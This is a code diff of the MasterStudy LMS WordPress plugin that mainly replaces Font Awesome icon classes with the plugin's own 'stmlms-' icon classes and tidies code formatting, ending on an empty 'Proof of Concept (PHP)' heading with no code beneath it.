 				<a href="#" @click.prevent="enableAddon($event, '<?php echo esc_attr( $addon_state ); ?>')">
-					<i class="fa fa-power-off"></i>
+					<i class="stmlms-power-off"></i>
 				<?php esc_html_e( 'Enable addon', 'masterstudy-lms-learning-management-system' ); ?>
 				</a>
 			</span>
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/ai_lab.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/ai_lab.php
@@ -9,7 +9,7 @@
 	$ai_settings_fields = array(
 		'name'   => esc_html__( 'AI Lab', 'masterstudy-lms-learning-management-system' ),
 		'label'  => esc_html__( 'AI Lab Settings', 'masterstudy-lms-learning-management-system' ),
-		'icon'   => 'fas fa-wand-magic-sparkles',
+		'icon'   => 'stmlms-wand-magic-sparkles',
 		'fields' => array(
 			'openai_api_key'           => array(
 				'type'        => 'text',
@@ -96,7 +96,7 @@
 		$ai_settings_fields = array(
 			'name'   => esc_html__( 'AI Lab', 'masterstudy-lms-learning-management-system' ),
 			'label'  => esc_html__( 'AI Lab Settings', 'masterstudy-lms-learning-management-system' ),
-			'icon'   => 'fas fa-wand-magic-sparkles',
+			'icon'   => 'stmlms-wand-magic-sparkles',
 			'fields' => array(
 				'pro_banner_ai_lab' => array(
 					'type'        => 'pro_banner',
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/analytics.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/analytics.php
@@ -4,7 +4,7 @@
 	$main_fields = array(
 		'name'   => esc_html__( 'Reports & Analytics', 'masterstudy-lms-learning-management-system' ),
 		'label'  => esc_html__( 'Reports & Analytics', 'masterstudy-lms-learning-management-system' ),
-		'icon'   => 'fas fa-chart-pie',
+		'icon'   => 'stmlms-chart-pie',
 		'fields' => array(
 			'pro_banner' => array(
 				'type'        => 'pro_banner',
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/certificates.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/certificates.php
@@ -4,7 +4,7 @@
 	$certificate_settings_fields = array(
 		'name'   => esc_html__( 'Certificates', 'masterstudy-lms-learning-management-system' ),
 		'label'  => esc_html__( 'Certificates Settings', 'masterstudy-lms-learning-management-system' ),
-		'icon'   => 'fas fa-certificate',
+		'icon'   => 'stmlms-certificate',
 		'fields' => array(
 			'certificate_threshold'    => array(
 				'type'        => 'number',
@@ -54,7 +54,7 @@
 		$certificate_settings_fields = array(
 			'name'   => esc_html__( 'Certificates', 'masterstudy-lms-learning-management-system' ),
 			'label'  => esc_html__( 'Certificates Settings', 'masterstudy-lms-learning-management-system' ),
-			'icon'   => 'fas fa-certificate',
+			'icon'   => 'stmlms-certificate',
 			'fields' => array(
 				'pro_banner' => array(
 					'type'  => 'pro_banner',
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/course-player.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/course-player.php
@@ -3,7 +3,7 @@
 	$course_player_settings = array(
 		'name'  => esc_html__( 'Course Player', 'masterstudy-lms-learning-management-system' ),
 		'label' => esc_html__( 'Course Player Settings', 'masterstudy-lms-learning-management-system' ),
-		'icon'  => 'fas fa-chalkboard-teacher',
+		'icon'  => 'stmlms-chalkboard-teacher',
 	);

 	$course_player_primary_fields = array(
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/course.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/course.php
@@ -473,7 +473,7 @@
 	$course_settings_fields = array(
 		'name'   => esc_html__( 'Course', 'masterstudy-lms-learning-management-system' ),
 		'label'  => esc_html__( 'Course Settings', 'masterstudy-lms-learning-management-system' ),
-		'icon'   => 'fas fa-book',
+		'icon'   => 'stmlms-book-2',
 		'fields' => $course_summary_fields,
 	);

--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/courses.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/courses.php
@@ -9,7 +9,7 @@
 	$courses_settings_fields = array(
 		'name'   => esc_html__( 'Courses', 'masterstudy-lms-learning-management-system' ),
 		'label'  => esc_html__( 'Courses Settings', 'masterstudy-lms-learning-management-system' ),
-		'icon'   => 'fas fa-book',
+		'icon'   => 'stmlms-book-2',
 		'fields' => array(
 			'demo_import'                       => array(
 				'type' => 'demo_import',
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/ecommerce.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/ecommerce.php
@@ -431,7 +431,7 @@
 				'description' => esc_html__( 'This button directs you to the membership management tab, where you can create, edit, and organize different membership plans.', 'masterstudy-lms-learning-management-system' ),
 				'submenu'     => $submenu_subscriptions,
 			),
-			'subscriptions_notice'  => array(
+			'subscriptions_notice'          => array(
 				'type'       => 'notice_banner',
 				'label'      => esc_html__( 'The feature is not available when WooCommerce checkout is enabled', 'masterstudy-lms-learning-management-system' ),
 				'dependency' => array(
@@ -443,7 +443,7 @@
 		);
 	} elseif ( is_ms_lms_addon_enabled( 'subscriptions' ) && STM_LMS_Subscriptions::subscription_enabled() ) {
 		$subscription_fields = array(
-			'subscriptions_notice'  => array(
+			'subscriptions_notice' => array(
 				'type'        => 'notification_message',
 				'description' => sprintf(
 					'<h1>%s</h1><p>%s</p>',
@@ -461,7 +461,7 @@
 		);
 	} elseif ( is_ms_lms_addon_enabled( 'subscriptions' ) && $woo_checkout ) {
 		$subscription_fields = array(
-			'subscriptions_notice'  => array(
+			'subscriptions_notice' => array(
 				'type'        => 'notification_message',
 				'description' => sprintf(
 					'<h1>%s</h1><p>%s</p>',
@@ -603,7 +603,7 @@
 	return array(
 		'name'   => esc_html__( 'Ecommerce', 'masterstudy-lms-learning-management-system' ),
 		'label'  => esc_html__( 'Ecommerce', 'masterstudy-lms-learning-management-system' ),
-		'icon'   => 'fas fa-money-check-alt',
+		'icon'   => 'stmlms-money-check-alt',
 		'fields' => $currency_fields,
 	);
 }
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/gdpr.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/gdpr.php
@@ -7,7 +7,7 @@
 	return array(
 		'name'   => esc_html__( 'Privacy Policy', 'masterstudy-lms-learning-management-system' ),
 		'label'  => esc_html__( 'Privacy Policy Settings', 'masterstudy-lms-learning-management-system' ),
-		'icon'   => 'fas fa-shield-alt',
+		'icon'   => 'stmlms-shield-alt',
 		'fields' => array(
 			'gdpr_warning' => array(
 				'type'        => 'text',
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/general.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/general.php
@@ -3,7 +3,7 @@
 	return array(
 		'name'   => esc_html__( 'General', 'masterstudy-lms-learning-management-system' ),
 		'label'  => esc_html__( 'General Settings', 'masterstudy-lms-learning-management-system' ),
-		'icon'   => 'fas fa-sliders-h',
+		'icon'   => 'stmlms-sliders-h',
 		'fields' => array(
 			/*GROUP STARTED*/
 			'main_color'            => array(
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/google_api.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/google_api.php
@@ -4,7 +4,7 @@
 	return array(
 		'name'   => esc_html__( 'Recaptcha', 'masterstudy-lms-learning-management-system' ),
 		'label'  => esc_html__( 'Recaptcha', 'masterstudy-lms-learning-management-system' ),
-		'icon'   => 'fab fa-google',
+		'icon'   => 'stmlms-google',
 		'fields' => array(
 			'recaptcha_site_key'    => array(
 				'type'        => 'text',
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/payments.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/payments.php
@@ -1,16 +1,15 @@
 <?php

-function stm_lms_settings_payments_section()
-{
-    return array(
-        'name' => esc_html__('Payment Methods', 'masterstudy-lms-learning-management-system'),
-        'label' => esc_html__('Payment Methods Settings', 'masterstudy-lms-learning-management-system'),
-		'icon' => 'fas fa-money-check-alt',
-        'fields' => array(
-            'payment_methods' => array(
-                'type' => 'payments',
-                'label' => esc_html__('Payment Methods', 'masterstudy-lms-learning-management-system'),
-            ),
-        )
-    );
+function stm_lms_settings_payments_section() {
+	return array(
+		'name'   => esc_html__( 'Payment Methods', 'masterstudy-lms-learning-management-system' ),
+		'label'  => esc_html__( 'Payment Methods Settings', 'masterstudy-lms-learning-management-system' ),
+		'icon'   => 'stmlms-money-check-alt',
+		'fields' => array(
+			'payment_methods' => array(
+				'type'  => 'payments',
+				'label' => esc_html__( 'Payment Methods', 'masterstudy-lms-learning-management-system' ),
+			),
+		),
+	);
 }
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/payout.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/payout.php
@@ -4,7 +4,7 @@
 	$payouts = array(
 		'name'   => esc_html__( 'Payout', 'masterstudy-lms-learning-management-system' ),
 		'label'  => esc_html__( 'Payout Settings', 'masterstudy-lms-learning-management-system' ),
-		'icon'   => 'fas fa-hand-holding-usd',
+		'icon'   => 'stmlms-hand-holding-usd',
 		'fields' => array(
 			'pro_banner' => array(
 				'type'  => 'pro_banner',
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/profiles.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/profiles.php
@@ -495,7 +495,7 @@
 	return array(
 		'name'   => esc_html__( 'Profiles', 'masterstudy-lms-learning-management-system' ),
 		'label'  => esc_html__( 'Profiles Settings', 'masterstudy-lms-learning-management-system' ),
-		'icon'   => 'fa fa-user-circle',
+		'icon'   => 'stmlms-user-circle',
 		'fields' => array_merge( $general_fields, stm_lms_settings_sorting_the_menu_section() ),
 	);
 }
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/quiz.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/quiz.php
@@ -32,7 +32,7 @@
 	$quiz_fields = array(
 		'name'   => esc_html__( 'Quiz', 'masterstudy-lms-learning-management-system' ),
 		'label'  => esc_html__( 'Quiz Settings', 'masterstudy-lms-learning-management-system' ),
-		'icon'   => 'fas fa-question',
+		'icon'   => 'stmlms-question-2',
 		'fields' => array(
 			'quiz_attempts'         => array(
 				'type'        => 'select',
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/routes.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/routes.php
@@ -14,7 +14,7 @@
 	}

 	$data = array(
-		'icon'   => 'fas fa-link',
+		'icon'   => 'stmlms-link-2',
 		'name'   => esc_html__( 'LMS Pages', 'masterstudy-lms-learning-management-system' ),
 		'fields' => array(

--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/shortcodes.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/shortcodes.php
@@ -1,15 +1,14 @@
 <?php

-function stm_lms_settings_shortcodes_section()
-{
-    return array(
-        'name' => esc_html__('Shortcodes', 'masterstudy-lms-learning-management-system'),
-        'label' => esc_html__('Shortcodes Settings', 'masterstudy-lms-learning-management-system'),
-        'icon' => 'fas fa-file-code',
-        'fields' => array(
-            'stm_lms_shortcodes' => array(
-                'type' => 'stm_lms_shortcodes',
-            ),
-        )
-    );
+function stm_lms_settings_shortcodes_section() {
+	return array(
+		'name'   => esc_html__( 'Shortcodes', 'masterstudy-lms-learning-management-system' ),
+		'label'  => esc_html__( 'Shortcodes Settings', 'masterstudy-lms-learning-management-system' ),
+		'icon'   => 'stmlms-file-code',
+		'fields' => array(
+			'stm_lms_shortcodes' => array(
+				'type' => 'stm_lms_shortcodes',
+			),
+		),
+	);
 }
--- a/masterstudy-lms-learning-management-system/_core/settings/main_settings/sortable_menu.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/main_settings/sortable_menu.php
@@ -40,8 +40,8 @@
 					'options' => array(),
 				),
 			),
-			'description' => '<ul><li><i class="fa fa-lock"></i><p>' . esc_html__( 'There are restrictions for dragging and/or disabling the option', 'masterstudy-lms-learning-management-system' ) . '</p><li>
-								<li><i class="fa fa-exclamation-triangle"></i><p>' . esc_html__( 'The option is important and is not recommended to be disabled', 'masterstudy-lms-learning-management-system' ) . '</p><li>',
+			'description' => '<ul><li><i class="stmlms-lock-2"></i><p>' . esc_html__( 'There are restrictions for dragging and/or disabling the option', 'masterstudy-lms-learning-management-system' ) . '</p><li>
+								<li><i class="stmlms-exclamation-triangle"></i><p>' . esc_html__( 'The option is important and is not recommended to be disabled', 'masterstudy-lms-learning-management-system' ) . '</p><li>',
 		),
 		'sorting_the_menu_student'    => array(
 			'type'        => 'sorter',
@@ -59,7 +59,7 @@
 					'options' => array(),
 				),
 			),
-			'description' => '<ul><li><i class="fa fa-exclamation-triangle"></i><p>' . esc_html__( 'The option is important and is not recommended to be disabled.', 'masterstudy-lms-learning-management-system' ) . '</p><li>',
+			'description' => '<ul><li><i class="stmlms-exclamation-triangle"></i><p>' . esc_html__( 'The option is important and is not recommended to be disabled.', 'masterstudy-lms-learning-management-system' ) . '</p><li>',
 		),
 		'sorting_float_menu_main'     => array(
 			'type'        => 'sorter',
@@ -78,8 +78,8 @@
 				),
 			),
 			'preview'     => STM_LMS_URL . 'assets/img/sorting_the_menu/main.png',
-			'description' => '<ul><li><i class="fa fa-lock"></i><p>' . esc_html__( 'There are restrictions for dragging and/or disabling the option.', 'masterstudy-lms-learning-management-system' ) . '</p><li>
-								<li><i class="fa fa-exclamation-triangle"></i><p>' . esc_html__( 'The option is important and is not recommended to be disabled.', 'masterstudy-lms-learning-management-system' ) . '</p><li>',
+			'description' => '<ul><li><i class="stmlms-lock-2"></i><p>' . esc_html__( 'There are restrictions for dragging and/or disabling the option.', 'masterstudy-lms-learning-management-system' ) . '</p><li>
+								<li><i class="stmlms-exclamation-triangle"></i><p>' . esc_html__( 'The option is important and is not recommended to be disabled.', 'masterstudy-lms-learning-management-system' ) . '</p><li>',
 		),
 		'sorting_float_menu_learning' => array(
 			'type'        => 'sorter',
@@ -98,7 +98,7 @@
 				),
 			),
 			'preview'     => STM_LMS_URL . 'assets/img/sorting_the_menu/learning.png',
-			'description' => '<ul><li><i class="fa fa-exclamation-triangle"></i><p>' . esc_html__( 'The option is important and is not recommended to be disabled.', 'masterstudy-lms-learning-management-system' ) . '</p><li>',
+			'description' => '<ul><li><i class="stmlms-exclamation-triangle"></i><p>' . esc_html__( 'The option is important and is not recommended to be disabled.', 'masterstudy-lms-learning-management-system' ) . '</p><li>',
 		),
 	);
 }
--- a/masterstudy-lms-learning-management-system/_core/settings/manage_users/main.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/manage_users/main.php
@@ -33,8 +33,8 @@
 			<th><?php esc_html_e( 'User email', 'masterstudy-lms-learning-management-system' ); ?></th>
 			<th width="20%"><?php esc_html_e( 'User Info', 'masterstudy-lms-learning-management-system' ); ?></th>
 			<th @click="direction = direction === 'ASC' ? 'DESC' : 'ASC'" style="cursor: pointer;">
-				<i class="fa fa-long-arrow-alt-up"></i>
-				<i class="fa fa-long-arrow-alt-down"></i>
+				<i class="stmlms-long-arrow-alt-up"></i>
+				<i class="stmlms-long-arrow-alt-down"></i>
 				<?php esc_html_e( 'Submission Date', 'masterstudy-lms-learning-management-system' ); ?>
 			</th>
 			<?php if ( $is_ai_addon_enabled ) : ?>
@@ -87,7 +87,7 @@
 	<div class="history_modal" v-if="historyModal.status">
 		<div class="history_overlay" @click="historyModal.status = false"></div>
 		<div class="history_close" @click="historyModal.status = false">
-			<i class="fas fa-times"></i>
+			<i class="stmlms-times"></i>
 		</div>
 		<div class="history_modal_body">
 			<div class="lms-dashboard-table">
--- a/masterstudy-lms-learning-management-system/_core/settings/media_library/main.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/media_library/main.php
@@ -12,7 +12,7 @@
 			<div class="stm-lms-upload__header">
 				<div class="stm-lms-upload__title"><?php esc_html_e( 'Media Gallery', 'masterstudy-lms-learning-management-system' ); ?></div>
 				<div class="stm-lms-upload__close" @click="closeModal()">
-					<span class="fas fa-times"></span>
+					<span class="stmlms-times"></span>
 				</div>
 			</div>
 			<div class="stm-lms-upload__drop">
@@ -28,7 +28,7 @@
 						<div class="stm-lms-upload__file-type">
 							<div class="stm-lms-upload-select">
 								<div class="stm-lms-upload-select__icon">
-									<span class="fas fa-caret-down"></span>
+									<span class="stmlms-caret-down"></span>
 								</div>
 								<select name="file-type" v-model="filter.fileType">
 									<option value="all" selected><?php esc_html_e( 'All files', 'masterstudy-lms-learning-management-system' ); ?></option>
@@ -42,7 +42,7 @@
 						<div class="stm-lms-upload__filter">
 							<div class="stm-lms-upload-select">
 								<div class="stm-lms-upload-select__icon">
-									<span class="fas fa-caret-down"></span>
+									<span class="stmlms-caret-down"></span>
 								</div>
 								<select name="sort" v-model="filter.sortBy">
 									<option value="post_title" selected><?php esc_html_e( 'Name: A / z', 'masterstudy-lms-learning-management-system' ); ?></option>
--- a/masterstudy-lms-learning-management-system/_core/settings/media_library/media_library_file.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/media_library/media_library_file.php
@@ -16,7 +16,7 @@
 				<div class="stm-lms-upload-file__date">{{ file.date }}</div>
 				<div class="stm-lms-upload-file__size">{{ file.size }}</div>
 				<div class="stm-lms-upload-file__actions">
-					<span class="fas fa-trash" @click="deleteFile(file)"></span>
+					<span class="stmlms-trash-2" @click="deleteFile(file)"></span>
 				</div>
 			</div>
 		</div>
--- a/masterstudy-lms-learning-management-system/_core/settings/media_library/media_library_input.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/media_library/media_library_input.php
@@ -21,19 +21,19 @@
 				</div>
 				<span v-show="!error.status">{{ this.fileName }} - <?php esc_html_e( 'Uploading', 'masterstudy-lms-learning-management-system' ); ?> {{ this.progressBar }}%</span>
 				<div class="progress-close" @click="clearUpload">
-					<i class="fas fa-times"></i>
+					<i class="stmlms-times"></i>
 				</div>
 			</div>
 			<div class="error-message-block" v-show="error.status">
 				<div class="error-message-icon">
-					<i class="fas fa-exclamation-circle"></i>
+					<i class="stmlms-exclamation-circle"></i>
 				</div>
 				<div>
 					<div class="error-message-filename">{{ this.fileName }}</div>
 					<div class="error-message">{{ error.message }}</div>
 				</div>
 				<div class="error-message-close" @click="closeInput">
-					<i class="fas fa-times"></i>
+					<i class="stmlms-times"></i>
 				</div>
 			</div>
 		</div>
--- a/masterstudy-lms-learning-management-system/_core/settings/payments/components/payments.php
+++ b/masterstudy-lms-learning-management-system/_core/settings/payments/components/payments.php
@@ -16,7 +16,7 @@
 					</div>
 					<div class="stm-lms-payment_header_block_description" v-if="payment_info.payment_description" >
 						<div class="stm-lms-payment_info_block_hint">
-							<i class="fa fa-info-circle"></i>
+							<i class="stmlms-info-circle"></i>
 						</div>
 						<span v-if="payment_info.payment_description" v-html="payment_info.payment_description"></span>
 					</div>
--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/float_menu/logged_in.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/float_menu/logged_in.php
@@ -16,7 +16,7 @@
 		?>

 		<div class="stm_lms_user_float_menu__scrolled_label">
-			<i class="fa fa-chevron-down"></i>
+			<i class="stmlms-chevron-down-2"></i>
 		</div>

 	</div>
--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/float_menu/logged_out.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/float_menu/logged_out.php
@@ -34,7 +34,7 @@
 			<span>
 				<?php esc_html_e( 'Hey, Please Login', 'masterstudy-lms-learning-management-system' ); ?>
 			</span>
-			<i class="fa fa-user"></i>
+			<i class="stmlms-user-2"></i>
 		</div>

 		<div class="stm_lms_user_float_menu__login_head">
--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/edit_account/change_password.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/edit_account/change_password.php
@@ -11,7 +11,7 @@
 					<label class="heading_font"><?php esc_html_e( 'New Password', 'masterstudy-lms-learning-management-system' ); ?></label>
 					<div class="form-group-social">
 						<input class="form-control masterstudy-edit-account-new-pass-input" type="password" placeholder="<?php esc_html_e( 'Enter your new password', 'masterstudy-lms-learning-management-system' ); ?>"/>
-						<i class="fa visible_pass fa-eye-slash masterstudy-edit-account-new-pass-icon"></i>
+						<i class="visible_pass stmlms-eye-slash masterstudy-edit-account-new-pass-icon"></i>
 					</div>
 				</div>
 			</div>
@@ -20,7 +20,7 @@
 					<label class="heading_font"><?php esc_html_e( 'Re-type New Password', 'masterstudy-lms-learning-management-system' ); ?></label>
 					<div class="form-group-social">
 						<input class="form-control masterstudy-edit-account-re-new-pass-input" type="password" placeholder="<?php esc_html_e( 'Enter your new password again', 'masterstudy-lms-learning-management-system' ); ?>"/>
-						<i class="fa visible_pass fa-eye-slash masterstudy-edit-account-re-new-pass-icon"></i>
+						<i class="visible_pass stmlms-eye-slash masterstudy-edit-account-re-new-pass-icon"></i>
 					</div>
 				</div>
 			</div>
--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/instructor_parts/courses.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/instructor_parts/courses.php
@@ -74,7 +74,7 @@
 				</a>
 			</div>
 			<a href="<?php echo esc_url( $links['add_new'] ); ?>" class="btn btn-default" target="_blank">
-				<i class="fa fa-plus"></i>
+				<i class="stmlms-plus-2"></i>
 				<?php esc_html_e( 'Add New course', 'masterstudy-lms-learning-management-system' ); ?>
 			</a>
 		</div>
@@ -102,7 +102,7 @@
 				<i class="stm-lms-course-reset-filter-icon"></i>
 			</a>
 			<a href="<?php echo esc_url( $links['add_new'] ); ?>" class="btn btn-default" target="_blank">
-				<i class="fa fa-plus"></i>
+				<i class="stmlms-plus-2"></i>
 				<?php esc_html_e( 'Add your first course', 'masterstudy-lms-learning-management-system' ); ?>
 			</a>
 		</div>
--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/instructor_parts/grid.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/instructor_parts/grid.php
@@ -20,11 +20,11 @@
 				<a v-bind:href="course.link" target="_blank">

 					<div class="pending-message" v-if="course.status==='pending'">
-						<i class="fa fa-hourglass-half"></i>
+						<i class="stmlms-hourglass-half"></i>
 						<h4><?php esc_html_e( 'Pending for approval', 'masterstudy-lms-learning-management-system' ); ?></h4>
 					</div>
 					<div class="pending-message" v-if="course.status==='rejected'">
-						<i class="fa fa-times-circle"></i>
+						<i class="stmlms-times-circle"></i>
 						<h4><?php esc_html_e( 'Course Rejected', 'masterstudy-lms-learning-management-system' ); ?></h4>
 					</div>

--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/instructor_parts/profile_settings_btn.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/instructor_parts/profile_settings_btn.php
@@ -1,4 +1,4 @@
-<a href="<?php echo esc_url(STM_LMS_User::settings_url()); ?>" class="stm_lms_instructor_profile_settings">
-    <i class="fa fa-cog"></i>
-    <?php esc_html_e('Profile settings', 'masterstudy-lms-learning-management-system'); ?>
+<a href="<?php echo esc_url( STM_LMS_User::settings_url() ); ?>" class="stm_lms_instructor_profile_settings">
+	<i class="stmlms-cog-2"></i>
+	<?php esc_html_e( 'Profile settings', 'masterstudy-lms-learning-management-system' ); ?>
 </a>
--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/manage_students/import-modal.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/manage_students/import-modal.php
@@ -8,7 +8,7 @@
 			<span class="masterstudy-manage-students-import__modal-title">
 				<span data-step="1,2,3"><?php esc_html_e( 'Import students from CSV', 'masterstudy-lms-learning-management-system' ); ?></span>
 				<span data-step="6"><?php esc_html_e( 'Import partially complete', 'masterstudy-lms-learning-management-system' ); ?></span>
-			</span>
+			</span>
 			<span class="masterstudy-manage-students-import__modal-close"></span>
 		</div>
 		<div class="masterstudy-manage-students-import__modal-text">
@@ -38,7 +38,7 @@
 		</div>
 		<div class="masterstudy-manage-students-import__info hidden" data-step="6">
 			<span class="masterstudy-manage-students-import__warning">
-				<i class="fas fa-exclamation-triangle"></i>
+				<i class="stmlms-exclamation-triangle"></i>
 				<?php esc_html_e( 'The users below were not imported as they had already been enrolled in this course.', 'masterstudy-lms-learning-management-system' ); ?>
 			</span>
 			<div class="masterstudy-manage-students-import__list">
@@ -46,7 +46,7 @@
 			</div>
 		</div>
 		<div class="masterstudy-manage-students-import__file-upload" data-step="1">
-			<div class="masterstudy-manage-students-import__file-upload__item-wrapper"></div>
+			<div class="masterstudy-manage-students-import__file-upload__item-wrapper"></div>
 			<div class="masterstudy-manage-students-import__file-upload__field">
 				<?php
 				STM_LMS_Templates::show_lms_template(
@@ -64,9 +64,9 @@
 				?>
 				<div class="masterstudy-manage-students-import__file-upload__field-text">
 					<p><?php esc_html_e( 'Drag file here or click the button.', 'masterstudy-lms-learning-management-system' ); ?></p>
-				</div>
+				</div>
 				<div class="masterstudy-manage-students-import__file-upload__field-error" data-step="1">
-					<i class="fas fa-exclamation-triangle"></i>
+					<i class="stmlms-exclamation-triangle"></i>
 					<span class="masterstudy-manage-students-import__unsupported-file-type hidden">
 						<?php esc_html_e( 'Unsupported file type.', 'masterstudy-lms-learning-management-system' ); ?>
 					</span>
@@ -85,7 +85,7 @@
 						)
 					);
 					?>
-				</div>
+				</div>
 				<input type="file" class="masterstudy-manage-students-import__file-upload__input" accept=".csv">
 			</div>
 		</div>
--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/avatar_edit.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/avatar_edit.php
@@ -18,7 +18,7 @@
 	<?php if ( ! empty( $my_avatar ) ) : ?>
 		<i class="stmlms-cross delete_avatar"></i>
 	<?php endif; ?>
-	<i class="fa-dashcam" data-text="<?php esc_attr_e( 'Change photo', 'masterstudy-lms-learning-management-system' ); ?>"></i>
+	<i class="stmlms-dashcam" data-text="<?php esc_attr_e( 'Change photo', 'masterstudy-lms-learning-management-system' ); ?>"></i>
 	<?php if ( ! empty( $current_user['avatar'] ) ) : ?>
 		<div class="stm-lms-user_avatar">
 			<?php echo wp_kses_post( $current_user['avatar'] ); ?>
--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/certificate-list.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/certificate-list.php
@@ -83,7 +83,7 @@
 				<div class="affiliate_points heading_font" data-copy="<?php echo esc_attr( $code ); ?>">
 					<span class="hidden" id="<?php echo esc_attr( $code ); ?>"><?php echo esc_html( $code ); ?></span>
 					<span class="affiliate_points__btn">
-						<i class="fa fa-link"></i>
+						<i class="stmlms-link-2"></i>
 						<span class="text"><?php esc_html_e( 'Copy code', 'masterstudy-lms-learning-management-system' ); ?></span>
 					</span>
 				</div>
--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/enrolled-courses.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/enrolled-courses.php
@@ -212,7 +212,7 @@
 						<div class="stm_lms_instructor_courses__single--progress">
 							<div class="stm_lms_instructor_courses__single--progress_top">
 								<div class="stm_lms_instructor_courses__single--duration" v-if="course.duration">
-									<i class="far fa-clock"></i>
+									<i class="stmlms-clock"></i>
 									{{ course.duration }}
 								</div>
 								<div class="stm_lms_instructor_courses__single--completed">
--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/expiration.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/expiration.php
@@ -2,7 +2,7 @@

 <div v-else class="stm_lms_expired_notice__wrapper">
 	<div class="stm_lms_expired_notice warning_expired">
-		<i class="far fa-clock"></i>
+		<i class="stmlms-clock"></i>
 		<template v-if="course.is_expired && !course.membership_expired && !course.membership_inactive">
 			<?php esc_html_e( 'Course has expired', 'masterstudy-lms-learning-management-system' ); ?>
 		</template>
--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/logout.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/logout.php
@@ -1,6 +1,6 @@
-<a href="<?php echo wp_logout_url(get_home_url()); ?>" class="stm-lms-logout-button btn btn-default">
-    <i class="fas fa-power-off"></i>
-    <span>
-        <?php esc_html_e('Log out', 'masterstudy-lms-learning-management-system'); ?>
-    </span>
-</a>
 No newline at end of file
+<a href="<?php echo esc_attr( wp_logout_url( get_home_url() ) ); ?>" class="stm-lms-logout-button btn btn-default">
+	<i class="stmlms-power-off"></i>
+	<span>
+		<?php esc_html_e( 'Log out', 'masterstudy-lms-learning-management-system' ); ?>
+	</span>
+</a>
--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/settings_button.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/settings_button.php
@@ -8,8 +8,8 @@
 <br/>

 <div class="stm-lms-user_edit_profile_btn __bordered">
-	<a href="<?php echo esc_url(STM_LMS_User::settings_url()); ?>">
-		<i class="fa fa-cog"></i>
-		<span><?php esc_html_e('Settings', 'masterstudy-lms-learning-management-system'); ?></span>
+	<a href="<?php echo esc_url( STM_LMS_User::settings_url() ); ?>">
+		<i class="stmlms-cog-2"></i>
+		<span><?php esc_html_e( 'Settings', 'masterstudy-lms-learning-management-system' ); ?></span>
 	</a>
 </div>
--- a/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/socials.php
+++ b/masterstudy-lms-learning-management-system/_core/stm-lms-templates/account/private/parts/socials.php
@@ -15,7 +15,7 @@
 				class="<?php echo esc_attr( $social ); ?> stm_lms_update_field__<?php echo esc_attr( $social ); ?>"
 			>
 				<?php if ( 'twitter' !== $social ) { ?>
-					<i class="fab fa-<?php echo esc_attr( $fields[

Proof of Concept (PHP)

